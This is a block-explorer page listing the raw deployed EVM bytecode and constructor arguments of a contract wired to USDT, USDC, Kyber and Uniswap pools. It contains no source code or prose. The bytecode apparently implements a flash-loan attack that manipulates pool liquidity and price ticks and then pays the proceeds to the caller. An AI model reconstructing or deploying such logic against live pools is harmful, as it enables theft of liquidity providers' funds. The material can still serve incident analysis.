83038186803b15801561145557600080fd5b505afa158015611469573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061148d9190611b3d565b600c546040516370a0823160e01b81523060048201529192506000916001600160a01b03909116906370a082319060240160206040518083038186803b1580156114d657600080fd5b505afa1580156114ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150e9190611b3d565b9050600084841161151f5784611521565b835b90506000611530601483611da8565b905085851115611603576003546001600160a01b03166324b31a0c3083600161155e6401000276a382611dca565b60405160e086901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093529015156044830152909116606482015260a06084820152600060a482015260c4016040805180830381600087803b1580156115c457600080fd5b505af11580156115d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115fc9190611b19565b50506116d5565b6003546001600160a01b03166324b31a0c30836000611637600173fffd8963efd1fc6a506488495d951d5263988d26611d88565b60405160e086901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093529015156044830152909116606482015260a06084820152600060a482015260c4016040805180830381600087803b15801561169d57600080fd5b505af11580156116b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111899190611b19565b505050505050565b6116e56119c9565b6116ef848461170d565b60020b81526116fe848361170d565b60020b60208201529392505050565b60405163c0ac75cf60e01b8152600282900b6004820152819060009081906001600160a01b0386169063c0ac75cf90602401604080518083038186803b15801561175657600080fd5b505afa15801561176a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061178e9190611e0c565b915091508160020b60001415806117a957508060020b600014155b156117b55750506119c3565b60008460020b131561187d576117ce620d89e719611e3f565b92505b8360020b8360020b13156118785760405163c0ac75cf60e01b8152600284900b60048201526001600160a01b0386169063c0ac75cf90602401604080518083038186803b15801561182157600080fd5b505afa158015611835573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118599190611e0c565b509250600283900b61187357620d89e719925050506119c3565b6117d1565b6119c0565b620d89e71992505b8360020b8360020b121561192c5760405163c0ac75cf60e01b8152600284900b60048201526001600160a01b0386169063c0ac75cf90602401604080518083038186803b1580156118d557600080fd5b505afa1580156118e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061190d9190611e0c565b935050600283900b61192757620d89e719925050506119c3565b611885565b60405163c0ac75cf60e01b8152600284900b60048201526001600160a01b0386169063c0ac75cf90602401604080518083038186803b15801561196e57600080fd5b505afa158015611982573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119a69190611e0c565b509250600283900b6119c057620d89e719925050506119c3565b50505b92915050565b60405180604001604052806002906020820280368337509192915050565b6001600160801b03811681146119fc57600080fd5b50565b60008060408385031215611a1257600080fd5b8235611a1d816119e7565b946020939093013593505050565b60008083601f840112611a3d57600080fd5b50813567ffffffffffffffff811115611a5557600080fd5b602083019150836020828501011115611a6d57600080fd5b9250929050565b60008060008060608587031215611a8a57600080fd5b8435935060208501359250604085013567ffffffffffffffff811115611aaf57600080fd5b611abb87828801611a2b565b95989497509550505050565b600060208284031215611ad957600080fd5b81518015158114611ae957600080fd5b9392505050565b600060208284031215611b0257600080fd5b81516001600160a01b0381168114611ae957600080fd5b60008060408385031215611b2c57600080fd5b505080516020909101519092909150565b600060208284031215611b4f57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115611b7f57611b7f611b56565b500190565b634e487b7160e01b600052601260045260246000fd5b8060005b6002808210611bad57506101b6565b8251900b845260209384019390910190600101611b9e565b81516001600160a01b031681526101a081016020830151611bf160208401826001600160a01b03169052565b506040830151611c08604084018262ffffff169052565b506060830151611c1d606084018260020b9052565b506080830151611c32608084018260020b9052565b5060a0830151611c4560a0840182611b9a565b5060c083015160e083810191909152830151610100808401919091528301516101208084019190915283015161014080840191909152830151610160611c95818501836001600160a01b03169052565b80850151610180850152505092915050565b60008060008060808587031215611cbd57600080fd5b845193506020850151611ccf816119e7565b6040860151606090960151949790965092505050565b600080600060608486031215611cfa57600080fd5b8351611d05816119e7565b6020850151909350611d16816119e7565b6040850151909250611d27816119e7565b809150509250925092565b60006001600160801b0383811690831681811015611d5257611d52611b56565b039392505050565b600080600060608486031215611d6f57600080fd5b8351925060208401519150604084015190509250925092565b60006001600160a01b0383811690831681811015611d5257611d52611b56565b600082611dc557634e487b7160e01b600052601260045260246000fd5b500490565b60006001600160a01b03808316818516808303821115611dec57611dec611b56565b01949350505050565b8051600281900b8114611e0757600080fd5b919050565b60008060408385031215611e1f57600080fd5b611e2883611df5565b9150611e3660208401611df5565b90509250929050565b60008160020b627fffff19811415611e5957611e59611b56565b6000039291505056fea264697066735822122043305b49eb4ff5b990c603375076b08aa5cc4060fe24cb8dc57ab01e7db01ebf64736f6c634300080900330000000000000000000000007eab8e5855aa70af6645afc6cbc7552cded6bbcc0000000000000000000000005d676536c74f6aaca980df5dfa3468c8d5bf9c5d00000000000000000000000084ef5b5648c7181093b889a681eceba2de1b0e5200000000000000000000000036ba164efbcd0f6676ff73e279e1e9d21afac38c000000000000000000000000f0bdb68eddb5bcf65e950ab673f252dad9254091
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c8063aa8c217c1161005b578063aa8c217c146100d0578063bdd3d825146100ec578063e9cbafb014610117578063fa483e721461012a57600080fd5b806324ac3eaa146100825780639e5faafc146100b55780639f382e9b146100bd575b600080fd5b6100b36100903660046119ff565b600780546001600160801b03938416600160801b02931692909217909155600855565b005b6100b361013d565b6100b36100cb366004611a74565b6101bc565b6100d960015481565b6040519081526020015b60405180910390f35b6000546100ff906001600160a01b031681565b6040516001600160a01b0390911681526020016100e3565b6100b3610125366004611a74565b6102da565b6100b3610138366004611a74565b61080a565b600080546001546040516312439b2f60e21b81523060048201526024810182905260448101919091526080606482015260848101929092526001600160a01b03169063490e6cbc9060a401600060405180830381600087803b1580156101a257600080fd5b505af11580156101b6573d6000803e3d6000fd5b50505050565b831561024857600b5460405163a9059cbb60e01b8152336004820152602481018690526001600160a01b039091169063a9059cbb90604401602060405180830381600087803b15801561020e57600080fd5b505af1158015610222573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102469190611ac7565b505b82156101b657600c5460405163a9059cbb60e01b8152336004820152602481018590526001600160a01b039091169063a9059cbb906044015b602060405180830381600087803b15801561029b57600080fd5b505af11580156102af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102d39190611ac7565b5050505050565b600360009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561032857600080fd5b505afa15801561033c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103609190611af0565b600b805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039283161790556003546040805163d21220a760e01b81529051919092169163d21220a7916004808301926020929190829003018186803b1580156103c657600080fd5b505afa1580156103da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fe9190611af0565b600c805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039283161790556004805460025460405163095ea7b360e01b81529084169281019290925260001960248301529091169063095ea7b390604401602060405180830381600087803b15801561047457600080fd5b505af1158015610488573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ac9190611ac7565b5060055460025460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b1580156104fe57600080fd5b505af1158015610512573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105369190611ac7565b5061053f610c11565b610547610ce9565b61054f610e1e565b610557611193565b61055f6111ce565b60035460095460405163092cc68360e21b81523060048201526001600160ff1b036024820152600160448201526001600160a01b03918216606482015260a06084820152600060a48201529116906324b31a0c9060c4016040805180830381600087803b1580156105cf57600080fd5b505af11580156105e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106079190611b19565b5050610611611303565b600480546040516370a0823160e01b815230928101929092526001600160a01b0316906370a082319060240160206040518083038186803b15801561065557600080fd5b505afa158015610669573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068d9190611b3d565b506005546040516370a0823160e01b81523060048201526001600160a01b03909116906370a082319060240160206040518083038186803b1580156106d157600080fd5b505afa1580156106e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107099190611b3d565b506004546000546001546001600160a01b039283169263a9059cbb921690610732908890611b6c565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561077857600080fd5b505af115801561078c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b09190611ac7565b506005546000546001546001600160a01b039283169263a9059cbb9216906107d9908790611b6c565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401610281565b600084131561089957600b5460405163a9059cbb60e01b8152336004820152602481018690526001600160a01b039091169063a9059cbb90604401602060405180830381600087803b15801561085f57600080fd5b505af1158015610873573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108979190611ac7565b505b60008313156101b657600c5460405163a9059cbb60e01b8152336004820152602481018590526001600160a01b039091169063a9059cbb90604401610281565b60008060008360020b126108f0578260020b6108f8565b8260020b6000035b9050620d89e88111156109365760405162461bcd60e51b81526020600482015260016024820152601560fa1b60448201526064015b60405180910390fd5b60006001821661094a57600160801b61095c565b6ffffcb933bd6fad37aa2d162d1a5940015b70ffffffffffffffffffffffffffffffffff1690506002821615610990576ffff97272373d413259a46990580e213a0260801c5b60048216156109af576ffff2e50f5f656932ef12357cf3c7fdcc0260801c5b60088216156109ce576fffe5caca7e10e4e61c3624eaa0941cd00260801c5b60108216156109ed576fffcb9843d60f6159c9db58835c9266440260801c5b6020821615610a0c576fff973b41fa98c081472e6896dfb254c00260801c5b6040821615610a2b576fff2ea16466c96a3843ec78b326b528610260801c5b6080821615610a4a576ffe5dee046a99a2a811c461f1969c30530260801c5b610100821615610a6a576ffcbe86c7900a88aedcffc83b479aa3a40260801c5b610200821615610a8a576ff987a7253ac413176f2b074cf7815e540260801c5b610400821615610aaa576ff3392b0822b70005940c7a398e4b70f30260801c5b610800821615610aca576fe7159475a2c29b7443b29c7fa6e889d90260801c5b611000821615610aea576fd097f3bdfd2022b8845ad8f792aa58250260801c5b612000821615610b0a576fa9f746462d870fdf8a65dc1f90e061e50260801c5b614000821615610b2a576f70d869a156d2a1b890bb3df62baf32f70260801c5b618000821615610b4a576f31be135f97d08fd981231505542fcfa60260801c5b62010000821615610b6b576f09aa508b5b7a84e1c677de54f3e99bc90260801c5b62020000821615610b8b576e5d6af8dedb81196699c329225ee6040260801c5b62040000821615610baa576d2216e584f5fa1ea926041bedfe980260801c5b62080000821615610bc7576b048a170391f7dc42444e8fa20260801c5b60008460020b1315610be8578060001981610be457610be4611b84565b0490505b640100000000810615610bfc576001610bff565b60005b60ff16602082901c0192505050919050565b6003546005546001600160a01b03909116906324b31a0c903090600160ff1b90600190610c4790600160a01b900460020b6108d9565b60405160e086901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093529015156044830152909116606482015260a06084820152600060a482015260c4016040805180830381600087803b158015610cad57600080fd5b505af1158015610cc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ce59190611b19565b5050565b6040805161018081018252600b546001600160a01b039081168252600c5481166020830152600a92820192909252600554600160a01b8104600290810b60608401819052600160b81b909204900b6080830181905260035460009460a0850193610d579392909116916116dd565b81526a2d7eb3f96e070d970000006020820181905260408083019190915260006060830181905260808301523060a08301524260c090920191909152600254905163752a031960e11b81529192506001600160a01b03169063ea54063290610dc3908490600401611bc5565b608060405180830381600087803b158015610ddd57600080fd5b505af1158015610df1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e159190611ca7565b50505060065550565b600080600360009054906101000a90046001600160a01b03166001600160a01b031663ab612f2b6040518163ffffffff1660e01b815260040160606040518083038186803b158015610e6f57600080fd5b505afa158015610e83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea79190611ce5565b5060075491935091506001600160801b03808316600160801b9092041611610f375760405162461bcd60e51b815260206004820152603160248201527f41646a7573746564206c6971756964697479206d75737420626520677265617460448201527f6572207468616e207265696e766573744c000000000000000000000000000000606482015260840161092d565b600754600090610f58908390600160801b90046001600160801b0316611d32565b9050806001600160801b0316836001600160801b03161015610fcf5760405162461bcd60e51b815260206004820152602a60248201527f43757272656e742062617365206c6971756964697479206973206c65737320746044820152691a185b881d185c99d95d60b21b606482015260840161092d565b6000610fdb8285611d32565b6002546040805160a08101825260065481526001600160801b0384811660208301908152600083850181815260608501918252426080860190815295516398e04d7760e01b81529451600486015291519092166024840152516044830152516064820152905160848201529192506001600160a01b0316906398e04d779060a401606060405180830381600087803b15801561107657600080fd5b505af115801561108a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ae9190611d5a565b5050600254600b5460405163bf1316c160e01b81526001600160a01b039182166004820152600060248201523060448201529116915063bf1316c190606401600060405180830381600087803b15801561110757600080fd5b505af115801561111b573d6000803e3d6000fd5b5050600254600c5460405163bf1316c160e01b81526001600160a01b039182166004820152600060248201523060448201529116925063bf1316c19150606401600060405180830381600087803b15801561117557600080fd5b505af1158015611189573d6000803e3d6000fd5b5050505050505050565b6003546008546001600160a01b03909116906324b31a0c9030906000610c47600173fffd8963efd1fc6a506488495d951d5263988d26611d88565b600354600a5460405163092cc68360e21b81523060048201526001600160ff1b036024820152600160448201526001600160a01b03918216606482015260a06084820152600060a48201529116906324b31a0c9060c4016040805180830381600087803b15801561123e57600080fd5b505af1158015611252573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112769190611b19565b5050600360009054906101000a90046001600160a01b03166001600160a01b031663ab612f2b6040518163ffffffff1660e01b815260040160606040518083038186803b1580156112c657600080fd5b505afa1580156112da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112fe9190611ce5565b505050565b600b546003546040516370a0823160e01b81526001600160a01b03918216600482015260009291909116906370a082319060240160206040518083038186803b15801561134f57600080fd5b505afa158015611363573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113879190611b3d565b600c546003546040516370a0823160e01b81526001600160a01b0391821660048201529293506000929116906370a082319060240160206040518083038186803b1580156113d457600080fd5b505afa1580156113e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140c9190611b3d565b600b546040516370a0823160e01b81523060048201529192506000916001600160a01b03909116906370a082319060240160206040518083038186803b15801561145557600080fd5b505afa158015611469573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061148d9190611b3d565b600c546040516370a0823160e01b81523060048201529192506000916001600160a01b03909116906370a082319060240160206040518083038186803b1580156114d657600080fd5b505afa1580156114ea573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150e9190611b3d565b9050600084841161151f5784611521565b835b90506000611530601483611da8565b905085851115611603576003546001600160a01b03166324b31a0c3083600161155e6401000276a382611dca565b60405160e086901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093529015156044830152909116606482015260a06084820152600060a482015260c4016040805180830381600087803b1580156115c457600080fd5b505af11580156115d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115fc9190611b19565b50506116d5565b6003546001600160a01b03166324b31a0c30836000611637600173fffd8963efd1fc6a506488495d951d5263988d26611d88565b60405160e086901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093529015156044830152909116606482015260a06084820152600060a482015260c4016040805180830381600087803b15801561169d57600080fd5b505af11580156116b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111899190611b19565b505050505050565b6116e56119c9565b6116ef848461170d565b60020b81526116fe848361170d565b60020b60208201529392505050565b60405163c0ac75cf60e01b8152600282900b6004820152819060009081906001600160a01b0386169063c0ac75cf90602401604080518083038186803b15801561175657600080fd5b505afa15801561176a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061178e9190611e0c565b915091508160020b60001415806117a957508060020b600014155b156117b55750506119c3565b60008460020b131561187d576117ce620d89e719611e3f565b92505b8360020b8360020b13156118785760405163c0ac75cf60e01b8152600284900b60048201526001600160a01b0386169063c0ac75cf90602401604080518083038186803b15801561182157600080fd5b505afa158015611835573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118599190611e0c565b509250600283900b61187357620d89e719925050506119c3565b6117d1565b6119c0565b620d89e71992505b8360020b8360020b121561192c5760405163c0ac75cf60e01b8152600284900b60048201526001600160a01b0386169063c0ac75cf90602401604080518083038186803b1580156118d557600080fd5b505afa1580156118e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061190d9190611e0c565b935050600283900b61192757620d89e719925050506119c3565b611885565b60405163c0ac75cf60e01b8152600284900b60048201526001600160a01b0386169063c0ac75cf90602401604080518083038186803b15801561196e57600080fd5b505afa158015611982573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119a69190611e0c565b509250600283900b6119c057620d89e719925050506119c3565b50505b92915050565b60405180604001604052806002906020820280368337509192915050565b6001600160801b03811681146119fc57600080fd5b50565b60008060408385031215611a1257600080fd5b8235611a1d816119e7565b946020939093013593505050565b60008083601f840112611a3d57600080fd5b50813567ffffffffffffffff811115611a5557600080fd5b602083019150836020828501011115611a6d57600080fd5b9250929050565b60008060008060608587031215611a8a57600080fd5b8435935060208501359250604085013567ffffffffffffffff811115611aaf57600080fd5b611abb87828801611a2b565b95989497509550505050565b600060208284031215611ad957600080fd5b81518015158114611ae957600080fd5b9392505050565b600060208284031215611b0257600080fd5b81516001600160a01b0381168114611ae957600080fd5b60008060408385031215611b2c57600080fd5b505080516020909101519092909150565b600060208284031215611b4f57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115611b7f57611b7f611b56565b500190565b634e487b7160e01b600052601260045260246000fd5b8060005b6002808210611bad57506101b6565b8251900b845260209384019390910190600101611b9e565b81516001600160a01b031681526101a081016020830151611bf160208401826001600160a01b03169052565b506040830151611c08604084018262ffffff169052565b506060830151611c1d606084018260020b9052565b506080830151611c32608084018260020b9052565b5060a0830151611c4560a0840182611b9a565b5060c083015160e083810191909152830151610100808401919091528301516101208084019190915283015161014080840191909152830151610160611c95818501836001600160a01b03169052565b80850151610180850152505092915050565b60008060008060808587031215611cbd57600080fd5b845193506020850151611ccf816119e7565b6040860151606090960151949790965092505050565b600080600060608486031215611cfa57600080fd5b8351611d05816119e7565b6020850151909350611d16816119e7565b6040850151909250611d27816119e7565b809150509250925092565b60006001600160801b0383811690831681811015611d5257611d52611b56565b039392505050565b600080600060608486031215611d6f57600080fd5b8351925060208401519150604084015190509250925092565b60006001600160a01b0383811690831681811015611d5257611d52611b56565b600082611dc557634e487b7160e01b600052601260045260246000fd5b500490565b60006001600160a01b03808316818516808303821115611dec57611dec611b56565b01949350505050565b8051600281900b8114611e0757600080fd5b919050565b60008060408385031215611e1f57600080fd5b611e2883611df5565b9150611e3660208401611df5565b90509250929050565b60008160020b627fffff19811415611e5957611e59611b56565b6000039291505056fea264697066735822122043305b49eb4ff5b990c603375076b08aa5cc4060fe24cb8dc57ab01e7db01ebf64736f6c63430008090033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007eab8e5855aa70af6645afc6cbc7552cded6bbcc0000000000000000000000005d676536c74f6aaca980df5dfa3468c8d5bf9c5d00000000000000000000000084ef5b5648c7181093b889a681eceba2de1b0e5200000000000000000000000036ba164efbcd0f6676ff73e279e1e9d21afac38c000000000000000000000000f0bdb68eddb5bcf65e950ab673f252dad9254091
-----Decoded View---------------
Arg [0] : _usdt (address): 0x7Eab8e5855aa70af6645afc6cbc7552cDed6bbcC
Arg [1] : _usdc (address): 0x5D676536C74f6aacA980df5dfA3468C8D5Bf9C5d
Arg [2] : _kyberPool (address): 0x84eF5b5648C7181093B889A681ecEba2DE1b0e52
Arg [3] : _kyberPositionManager (address): 0x36Ba164eFbCD0F6676ff73e279E1e9D21afaC38C
Arg [4] : _uniswapPool (address): 0xf0bdB68EDdb5bCF65e950AB673F252dAD9254091
-----Encoded View---------------
5 Constructor Arguments found :
Arg [0] : 0000000000000000000000007eab8e5855aa70af6645afc6cbc7552cded6bbcc
Arg [1] : 0000000000000000000000005d676536c74f6aaca980df5dfa3468c8d5bf9c5d
Arg [2] : 00000000000000000000000084ef5b5648c7181093b889a681eceba2de1b0e52
Arg [3] : 00000000000000000000000036ba164efbcd0f6676ff73e279e1e9d21afac38c
Arg [4] : 000000000000000000000000f0bdb68eddb5bcf65e950ab673f252dad9254091
Loading...
Loading
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.